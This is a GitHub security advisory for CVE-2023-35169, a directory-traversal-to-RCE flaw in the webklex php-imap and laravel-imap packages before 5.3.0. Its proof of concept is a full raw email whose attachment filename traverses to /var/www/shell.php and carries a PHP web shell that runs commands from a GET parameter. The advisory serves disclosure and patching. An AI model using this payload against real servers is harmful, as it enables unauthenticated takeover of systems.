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php-imap vulnerable to RCE through a directory traversal vulnerability

Critical
Webklex published GHSA-47p7-xfcc-4pv9 Jun 21, 2023

Package

composer webklex/laravel-imap (Composer)

Affected versions

< 5.3.0

Patched versions

>= 5.3.0
composer webklex/php-imap (Composer)
< 5.3.0
>= 5.3.0

Description

Summary

An unsanitized attachment filename allows any unauthenticated user to leverage a directory traversal vulnerability which results in a remote code execution vulnerability.

Details

An attacker can send an email with a malicious attachment to the inbox, which gets crawled with webklex/php-imap or webklex/laravel-imap. Prerequisite for the vulnerability is that the script stores the attachments without providing a $filename, or providing an unsanitized $filename, in src/Attachment::save(string $path, string $filename = null) (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L251-L255).
In this case, where no $filename gets passed into the Attachment::save() method, the package would use a series of unsanitized and insecure input values from the mail as fallback (https://github.com/Webklex/php-imap/blob/5.2.0/src/Attachment.php#L252).
Even if a developer passes a $filename into the Attachment::save() method, e.g. by passing the name or filename of the mail attachment itself (from email headers), the input values never get sanitized by the package.
There is also no restriction about the file extension (e.g. ".php") or the contents of a file. This allows an attacker to upload malicious code of any type and content at any location where the underlying user has write permissions.
The attacker can also overwrite existing files and inject malicious code into files that, e.g. get executed by the system via cron, requests,...
The official documentation only shows examples of Attachment::save() without providing the $filename (https://www.php-imap.com/api/attachment), which makes this vulnerability even more widespread.

PoC

  1. send an email with a malicious attachment to an inbox, which gets crawled by the package
Return-Path: <attacker@example.com>
Date: Fri, 17 Aug 2018 14:36:24 +0000
From: Attacker <attacker@example.com>
To: Victim <victim@example.com>
MIME-Version: 1.0
Content-Type: multipart/mixed;
 boundary="_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_"

Mail with malicious attachment

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_
Content-Type: application/octet-stream; name=shell.php
Content-Transfer-Encoding: 8bit
Content-Disposition: attachment; filename=../../../../../../../../../../../../var/www/shell.php

<?php
// RCE
system($_GET['cmd'] ?? '#');
?>

--_=_swift_v4_1534516584_32c032a3715d2dfd5cd84c26f84dba8d_=_--


  1. crawl email with malicious attachment
  2. store the attachment with Attachment::save('/path/to/storage') without providing a $filename value

Impact

This is a remote code execution vulnerability that is made possible through a directory traversal vulnerability.
Every application that stores attachments with Attachment::save() without providing a $filename or passing unsanitized user input is affected by this attack.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2023-35169

Weaknesses

No CWEs

Credits